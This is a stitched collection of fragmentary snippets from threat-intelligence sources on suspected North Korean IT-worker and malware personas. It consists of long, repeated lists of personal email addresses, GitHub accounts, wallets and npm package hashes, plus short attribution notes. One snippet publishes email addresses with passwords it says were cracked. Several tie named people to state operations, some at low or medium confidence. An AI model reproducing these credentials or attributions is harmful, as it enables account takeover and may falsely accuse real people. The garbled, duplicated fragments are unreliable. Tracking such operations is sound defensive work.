0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.co…","…and LinkedIN profiles of DPRK IT Workers, you can find it on my GitHub list . 0o7ugm4x@joseffranke.anonaddy.com 0supportx@gmail.com 0swk7tyb@joseffranke.anonaddy.com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dm…","…Also maybe James Ling / Smart Ninja / DevSCNinja - coppn - lcoppn - 0x.bejaxer - eratos1123 - eratos1122 - cobang - bejaxer - 0x.bejaxer@gmail.com - eratos1123@gmail.com - github.com/cobang - github.com/bejaxer (Name: 0x A.K.) •…","…Lowden (0xl2) - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - 0xl2 - jigoat - zeroxjoe - x.com/zeroxjoe - 0xl2@proton.me - leon.lowden7@gmail.com - github.com/0xl2 • [Archive](https://archive.ph/KolKd) - 0x0c0e8ef4b62a4a2a1b5031911e272362530c1a9a -…","…DeSpace, Beanstalk, Blueberry, Spice Finance, - 0xMoon - 0xm00n - 0xm00n.eth - 0xm00neth - cryptonerd_ - 0xm00neth@gmail.com - 0xlock - github.com/0xm00neth • [Archive](https://archive.ph/WIu3i) - github.com/0xlock • [Archive](https://archive.ph/J347l) -…","…denisleedragon@outlook.com[email protected] ivandimov921016@outlook.com[email protected] ZachXBT Supplied: 0xm00neth@gmail.com[email protected] naokimurano@outlook.com[email protected] joshupgig@gmail.com[email protected] smart.solidity@gmail.com[email protected]…","…Supplied: 0xm00neth@gmail.com naokimurano@outlook.com joshupgig@gmail.com smart.solidity@gmail.com Crypto Wallets: Note: These are low confidence.…","…Workers, you can find it on my GitHub list . 0o7ugm4x@joseffranke.anonaddy.com 0supportx@gmail.com 0swk7tyb@joseffranke.anonaddy.com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi…","…it on my GitHub list . 0o7ugm4x@joseffranke.anonaddy.com 0supportx@gmail.com 0swk7tyb@joseffranke.anonaddy.com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.a…","…. 0o7ugm4x@joseffranke.anonaddy.com 0supportx@gmail.com 0swk7tyb@joseffranke.anonaddy.com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.…","…2023-04-29 · Payoneer (Unity) External 🟢 Confirmed @12-pmh Group 12 Paek Myong Ho Cover: \"Yamahiro\" (122yamahiro@gmail.com[email protected] ) · Crowdworks Japan · Payoneer (Unity) External 🟢 Confirmed @12-kms Group 12 Kim Mun Song Cover: \"Masato\"…","…2023-04-29 · Payoneer (Unity) External 🟢 Confirmed @12-pmh Group 12 Paek Myong Ho Cover: \"Yamahiro\" (122yamahiro@gmail.com) · Crowdworks Japan · Payoneer (Unity) External 🟢 Confirmed @12-kms Group 12 Kim Mun Song Cover: \"Masato\"…","github.com/SrDev36428 is GitHub account id 157616488 and was previously named DevsWorld36428; the old handle now returns 404. The account commits under both 157616488+SrDev36428@users.noreply.github.com and 157616488+DevsWorld36428@users.noreply.github.com, and GitHub mints those addresses from the account's immutable numeric id, so the two names are the same account as a matter of how the address is constructed rather than as an inference.\n\nThat noreply address already appears in the commit history of two accounts this index holds under \"Saja network portfolio accounts (Nisos)\": three commits on eros1006 and one on TopRatedDev36428, both under the display name Beautiful Devsworld. A third account in the same group, blockbusterdev, carries 544 commits from beautifuldevsworld@gmail.com under the names softvoyager, DenysOstroverkh and TalentedDev36428, and TopRatedDev36428 carries the same address under the name DevsWorld36428. The addresses are admitted as one holder's because they commit under names the group's own accounts use, including two carrying its 36428 suffix.\n\nThe account was created on 24 January 2024, four weeks after TopRatedDev36428, whose numeric handle suffix it repeats exactly, and it follows eight accounts this index holds: eros1006, TopRatedDev36428, GoodWork0903, Talented0Dev, nulidev, CleverSofter, SoftwarePassioner and blockbusterdev. Seven of those are in this group.\n\nThe limit is worth stating plainly. The direct evidence from account 157616488 into the group's repositories is four commits, which is not much on its own. The weight here is cumulative rather than from any single value: the rename recovered from the numeric id, the shared handle suffix, the creation date four weeks apart, the eight follow edges and the address reuse across three of the group's accounts. A reader who wants to discount it should discount it on that basis. The account was live when read on 20 September 2026, and no persona is attached because the group it joins carries none.","…with SANS FAB 326 Payment Account Emails aleecn@163.com stefaniezh7@gmail.com yisselmanrique@yahoo.com nmling_624@icloud.com 179546932@qq.com gfraticelli1@gmail.com 326 MSMT Participating State information. Pay ment Account Aliases acleen sz1234 manling…","…ddy.com 0supportx@gmail.com 0swk7tyb@joseffranke.anonaddy.com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greenti…","…swk7tyb@joseffranke.anonaddy.com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@c…","…truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com mobilephetjum@gmail.com phetchamphone1998@gmail.com Additional…","…com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com…","…hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com -…","…hexiao31@mail.ru[email protected] hexiao32@mail.ru[email protected] hexiao34@mail.ru[email protected] 4445313@qq.com[email protected] peterzhou0802@gmail.com[email protected] kawabatakyo0922@outlook.com[email protected]…","…---- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallim…","…email insider N/A N/A Threat actor persona email 4 develop498@gmail.com email insider N/A N/A Threat actor persona email 4 4899432@qq.com email insider N/A N/A Threat actor persona email 4 karsonova1703@gmail.com email insider N/A N/A Threat actor persona email 4…","…teacheraccount - thinkd.developer - TOP-DEVELOPER - twizard410 - webstar1014 - weiyang.jin1202 - ychmdev - zuhalvalmerikh - 4899432@qq.com - babakwethr@gmail.com - Chenyin1g992@gmail.com - elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com -…","…1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com BlackMustang0430@outlook.com Chris…","…seffranke.anonaddy.com 2a8p6xmi@lionel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com BlackMustang0430@outlook.com ChrisGraham1215@skiff.com DiamondDazzle@…","…nel.anonaddy.com 2ed55fd113+wosmnkwv@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com BlackMustang0430@outlook.com ChrisGraham1215@skiff.com DiamondDazzle@skiff.com FelixMorin1218@skiff.com…","…topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev - github.com/squirdev -…","…talentdev610@gmail.com[email protected] leonpower123@outlook.com[email protected] oskardev0112@gmail.com[email protected] 88yurchak@gmail.com[email protected]…","…apyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev https://github.com/sq…","…v@c0x0.com 3dmaxexpert@richman.fyi 4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com BlackMustang0430@outlook.com ChrisGraham1215@skiff.com DiamondDazzle@skiff.com FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT…","…FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@g…","…Email Indicators aaron.groenke111391@gmail.com aaron.groenke111391@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229…","…Email Indicators aaron.groenke111391@gmail.com aaron.groenke111391@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jack…","Found on 28 September 2026 by reading every commit author in the 39 impersonation-company lure repositories filed the same day. Leaving out three long-established developers whose projects the lures copy (their commits are the copied history), every other author account now returns 404: GitHub has removed them, in a batch whose names follow farm patterns (CodeBlock and a number, aitechbuild and a number, 0xroaman-N, GitWorkHub8 and 9, williamwagle1 to 14, gitworkspace17, everdreamsoft variants) and whose addresses are plus-addressed Gmail variants and look-alike company domains (remotely-limitbreak.com, celestium.store and celestium.exchange, lukso.bet, everdream-soft.com, astrabytesync.com). Each address is carried with the account GitHub credits it to, which is the account that registered it. Four addresses at domains that may belong to real businesses are left out, though the accounts that used them are carried.","…, webvlada2024@gmail.com , randhawamanpreet37@gmail.com , ignusmart@gmail.com , mjlescano@protonmail.com , Pourcheriki@gmail.com , aaronhiroto.bm@gmail.com , lxin6793@gmail.com .…","Queued on Potential DPRK Profiles and rated medium confidence by a reviewer. Not confirmed; see the profile's page for the review.","…Known emails include: apolonia.chen@yandex.com[email protected] abc180123@yandex.com[email protected] Other usernames discovered suggest a full name for the persona of Apolonia Chen Lee. Account access for this persona…","…Year in Review harry.work206@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review abdelrahman5520032019@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review karenhooi.cpa.cga.business1016@gmail.com email…","…f290db50ffe64d4fb5fe409d3d1c8eca6f6711e4bbd85a13c9dce055508cc1b3 log-server-lovat.vercel.app logbin-nodejs v2.3.4 abdulrahman_nasser (abdulrahmannasser096@gmail.com) 2025-05-14 y f290db50ffe64d4fb5fe409d3d1c8eca6f6711e4bbd85a13c9dce055508cc1b3 log-server-lovat.vercel.app vite-plugin-style-svg v2.3.4…","…mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com sofia.helman@outlook.com supercrazybug.team@gmail.com maryanaaaa.hrteam@gmail.com…","…0x64d668978ddd6145d4f192eefb03691b75f65096 #### Leon - Abe Sinjiro (prodigy205) - 2024 - naruto0913 - prodigy205 - abe.sinjiro7 - abe.sinjiro7@gmail.com - 0x90a8974ed484da8e209e6db7b2f84c1b5be345d0 - ![](./ice-skating-04.png) - ![](./naoki-jenson-keisuke-kazune-leon-zhmolly.png) --- ##…","…victor510 vitalcityhomes22591 vrindalseth westfieldhomeagent66414 yorktownhomesales08111 Email Addresses # abigailzebrairses36717@outlook.com alexander0110825@outlook.com allenhand0101@outlook.com alphabrownsapon70555@hotmail.com amelievolcanobquvq06786@hotmail.com…","…com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gma…","…m SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com a…","…Baros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com…","…obTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.co…","…229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmai…","…a unique contact email for the person registering the domains as opposed to registering a unique contact email for each domain: ad3q2lst5y@domprivacy.de[email protected] Searching historical whois data reveals that this same email address was used to register hatotsusin.com which claims…","…ashleyspalliero408@gmail.com[email protected] jackkarlsson1025@gmail.com[email protected] adambinharun1010@gmail.com[email protected] minamotohitoshi912@gmail.com[email protected] muhammadhamid4760@gmail.com[email protected]…","….com dashhello4@gmail.com simonbergman516@gmail.com robertgreen1217@gmail.com ashleyspalliero408@gmail.com jackkarlsson1025@gmail.com adambinharun1010@gmail.com minamotohitoshi912@gmail.com muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.…","…content. The Core Team of HyperbuildX Accounts from the below list are most likely operated by a single worker - AnotherRusty. adamglab0731.pl@gmail.com: justshiftjk (Also known as 0xAlche or Adam Glab) apollum.today@gmail.com: apollotoday (Also known as AnotherRusty or Matthias…","…email insider N/A N/A Synthetic persona email 2 gary__leduc@hotmail.com email insider N/A N/A Synthetic persona email 2 adamikjelen@outlook.com email insider N/A N/A Synthetic persona email 2 ionguzlok@outlook.com email insider N/A N/A Synthetic persona email 2…","…world4dev xinrong83 yasmin9 yevheniikasymchuk yonismith zane29879 zhang.j zybinantone241 Email Addresses # adammorris533@gmail.com aidanphillips721@gmail.com alexander0110818@outlook.com alexander0110820@outlook.com alexander0110828@outlook.com…","…hangquan5594sxbf72@hotmail.com[email protected] mahamaslam805@gmail.com[email protected] adamvenord8@gmail.com[email protected] Appendix B: Software Indicators The following software versions have been observed in the list of installed software…","…enaty031@gmail.com quangtu676957e1525ncz@hotmail.com danhphoze_2364@hotmail.com hangquan5594sxbf72@hotmail.com mahamaslam805@gmail.com adamvenord8@gmail.com Appendix B: Software Indicators The following software versions have been observed in the list of installed software on user systems,…","…er669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@…","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 23 commits signed a.dev.contact0514@gmail.com, an address meow_mfer publishes for this group, to the login blackbear0112, which no longer resolves.","…40 hours/week 1-2 years scorradini640@gmail.com sebastian Argentina United States $30/hour, 30 hours/week 1-2 years adolfo.garcia0513@gmail.com Adolfo Mexico United States $45/hour, 40 hours/week 1-3 months sorza.jimmy05@gmail.com jimmy Colombia United States…","…ipcheck.cloud mirotalk.io mirotalk.net ftpserver0909.com IP Address 167.88.36.13 Email Addresses adonis_eros@outlook.com brightstar1116@outlook.com buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com…","…DOJ sentencing release ( Department of Justice ) Email adonis_eros@outlook.com Reported actor-linked email (defanged) Unit 42 fake IT worker cluster ( Unit 42 ) SHA-1 DAFB44DA364926BDAFC72D72DBD9DD728067EFBD…","The post lists these under the heading Other GH mentioned, in a thread about a publicly readable Google Drive a suspected DPRK group left open, and ties none of them to a named operator. It marks mastercodercat as working in Web3 and cryptocurrency and adonis0907 as terminated. The address is written without a top-level domain, as adonis0907[@]gmail. The address mastercoderoy64@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author. The address olderdev1003@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","…sta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta…","…throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercisht…","…email insider N/A N/A Synthetic persona email 2 alexandrurusu2@outlook.com email insider N/A N/A Synthetic persona email 2 adrianceban1@outlook.com email insider N/A N/A Synthetic persona email 2 florinbarbu1@outlook.com email insider N/A N/A Synthetic persona email 2…","…m acedev0427@gmail.com acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@…","…acehood010126@gmail.com aceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.mar…","…json-spectaculation 2026-03-12 live registry joshcabs1234@gmail.com jsontoken-extend 2026-04-17 live registry adsila000@outlook.com levex-press 2026-03-23 live registry super1114dev@gmail.com levex-refa - - npm@npmjs.com lint-null…","…Year in Review weili.walk@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review afaq91169@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review mahmodghnaj1@gmail.com email malware N/A…","…ceruling@gmail.com adanpopov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa20…","…Email Indicators aaron.groenke111391@gmail.com aaron.groenke111391@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith…","…Year in Review jackson.blau.eth@gmail.com email malware N/A February 2025 DPRK malware distributor GitLab.com account Year in Review agne09541@gmail.com email malware N/A February 2025 DPRK malware distributor GitLab.com account Year in Review antontarasiuk0512@gmail.com email malware N/A…","…0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902…","…322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira001…","The closing post of the 17 May 2025 profile-picture thread carries two addresses and a GitHub account together, with one photograph. The researcher does not say whether they belong to one operator or to three. The first address and the photograph are filed under William Holloway; these two are kept here, as values the same post published side by side and nothing more.","…opov.dev@gmail.com adonisdev0129@gmail.com adrianahmad322@gmail.com adrianjakend@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@mi…","…devin.s@gedu.demo.ta-39.com csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com filip.porter9017@outlook.com r29728098@gmail.com…","…indicators uncovered via threat hunting and other methods. Email addresses used to upload the malware to JSON storage services ahmadbahai07@gmail.com drgru854@gmail.com jack.murray.tf7@gmail.com jackhill2765@gmail.com reichenausteve@gmail.com magalhaesbruno236@gmail.com…","…Year in Review samjannt1211@gmail.com email malware N/A April 2025 DPRK malware distributor GitLab.com account Year in Review ahmed03010229@gmail.com email malware N/A April 2025 DPRK malware distributor GitLab.com account Year in Review hidranomagica@outlook.com email malware N/A…","…jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com…","…@gmail.com adrianjakerror@gmail.com af.jaguarking@gmail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.…","…yasmin9 yevheniikasymchuk yonismith zane29879 zhang.j zybinantone241 Email Addresses # adammorris533@gmail.com aidanphillips721@gmail.com alexander0110818@outlook.com alexander0110820@outlook.com alexander0110828@outlook.com anastasiiakoziar02@gmail.com…","…1.0.3 2025-09-18 13:18:03 dragon0905 reichenausteve@gmail.com vite-tsconfig-assistant 1.0.3 2025-09-18 01:47:11 wonderful123 aidanphillips721@gmail.com ℹ️ Note Do you want to see these packages for yourself? Download the package tgz files from my research site!…","…2026-09-30 hardhat-plus (2.21.0) 2026-09-30 aidanshauf380134 <AidanShauf380134@outlook.com> 859f8450de820d002dc9b34c2691b1c8272d015aa423bdba17c87654a558b535 2026-09-29 esm-dotenv (1.0.1) 2026-09-29 oopslabuk…","…2026-10-02 hardhat-roof (2.21.0) 2026-10-02 aidanshauf380134 <AidanShauf380134@outlook.com> 7e4c6d76f1d845f752e37876a2d3f773996719f33c2d1c282e0a84b04444efeb 2026-10-02 hardhat-devkit (2.0.1) 2026-10-02 matthis0291…","…email insider N/A N/A Synthetic persona email 2 vlastimirdeskov001@outlook.com email insider N/A N/A Synthetic persona email 2 aidaszvikas@outlook.com email insider N/A N/A Synthetic persona email 2 trendafilmakedonija001@outlook.com email insider N/A N/A Synthetic persona email 2…","…Email Indicators aaron.groenke111391@gmail.com aaron.groenke111391@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.alle…","…between 2026-08-28 and 2026-09-27 later earlier Released Package IOCs 2026-09-26 hardhat-zet (2.0.1) 2026-09-26 airent <airent@neatdaynote.com> 6d06757f9ab4a23c5f09b416308cff0322ada95f0484ec4c76386cfb6898a17d 2026-09-25 hardhat-lock (2.21.0) 2026-09-25…","…fd1ef3edfc6c02581abf6bf69f9e73b19ca8d3ddc915fa51beba648e6c0ae62f 2026-09-26 hardhat-zet (2.0.1) 2026-09-26 airent <airent@neatdaynote.com> 6d06757f9ab4a23c5f09b416308cff0322ada95f0484ec4c76386cfb6898a17d 2026-09-26 chai-as-relay (1.2.1) 2026-09-26 woodjack11…","…Vanesapaula81@outlook.com joaopebasso12@outlook.fr Rodrigonahuelsanchez1998@outlook.com.ar nurtissera@outlook.com aitbaunty@outlook.com e56372626@gmail.com denis0316@outlook.com dreamstone111@outlook.com gabrielamartinsghera@yahoo.com 331…","…the passwords of the emails and here by sharing few samples:- EMAIL ADDRESSES PASSWORD akileus010902@gmail.com !@#123QWEqwe ait.oubella.marouane@gmail.com qwery123 secretagent1025@gmail.com 1QAZxsw balsinyar@gmail.com 11111111, Xiah audreybass140@gmail.com P@ssw0rd…","…mail.com agronkercishta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albe…","…an attacker may gain access to push malicious changes into your code supply chain stack. IOCs: https://github.com/AhegaoXXX : akaredover@gmail.com: AhegaoXXX : Elmurat Dzhumabaev https://github.com/Keeper-Wallet (Compromised…","…ta.ai@gmail.com agronkercishta1@proton.me agronkercishta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertru…","…hotaruemori@gmail.com[email protected] veerapandianvijai@gmail.com[email protected] akijohansson116@gmail.com[email protected] paulmillet0803@gmail.com[email protected] henryan373@gmail.com[email protected]…","…hotaruemori@gmail.com veerapandianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com d…","…DPRK PASSWORDS I have cracked the passwords of the emails and here by sharing few samples:- EMAIL ADDRESSES PASSWORD akileus010902@gmail.com !@#123QWEqwe ait.oubella.marouane@gmail.com qwery123 secretagent1025@gmail.com 1QAZxsw balsinyar@gmail.com 11111111, Xiah…","…shta2@proton.me ahura0901@gmail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gm…","…Joel Kursala - 0xa8cB25ddf0A7195BDc3232ac6e1D812c8a4713Fe #### Daniel Klein / Richard Loan - richardloan0221@gmail.com - akioyamadera46@gmail.com - 0xbd8d23384376f21045b4851630021d5e653678a4 - 0x0f4f036bdedfec48499d348693377b716f20c28e Gnosis Safe -…","…julianseewald123@gmail.com stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com…","…King - Logan Smith - Vasyl Smirnov - Ethan Chan - Leon Zhang - Evgeny Shalimov - loganlee002@gmail.com - loganworld002@gmail.com - akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com - johnwilliam199024@gmail.com -…","…Project: Hogwarz, hogwarz.com Emails: loganlee002@gmail.com loganworld002@gmail.com akp707d@gmail.com websolution0524@gmail.com 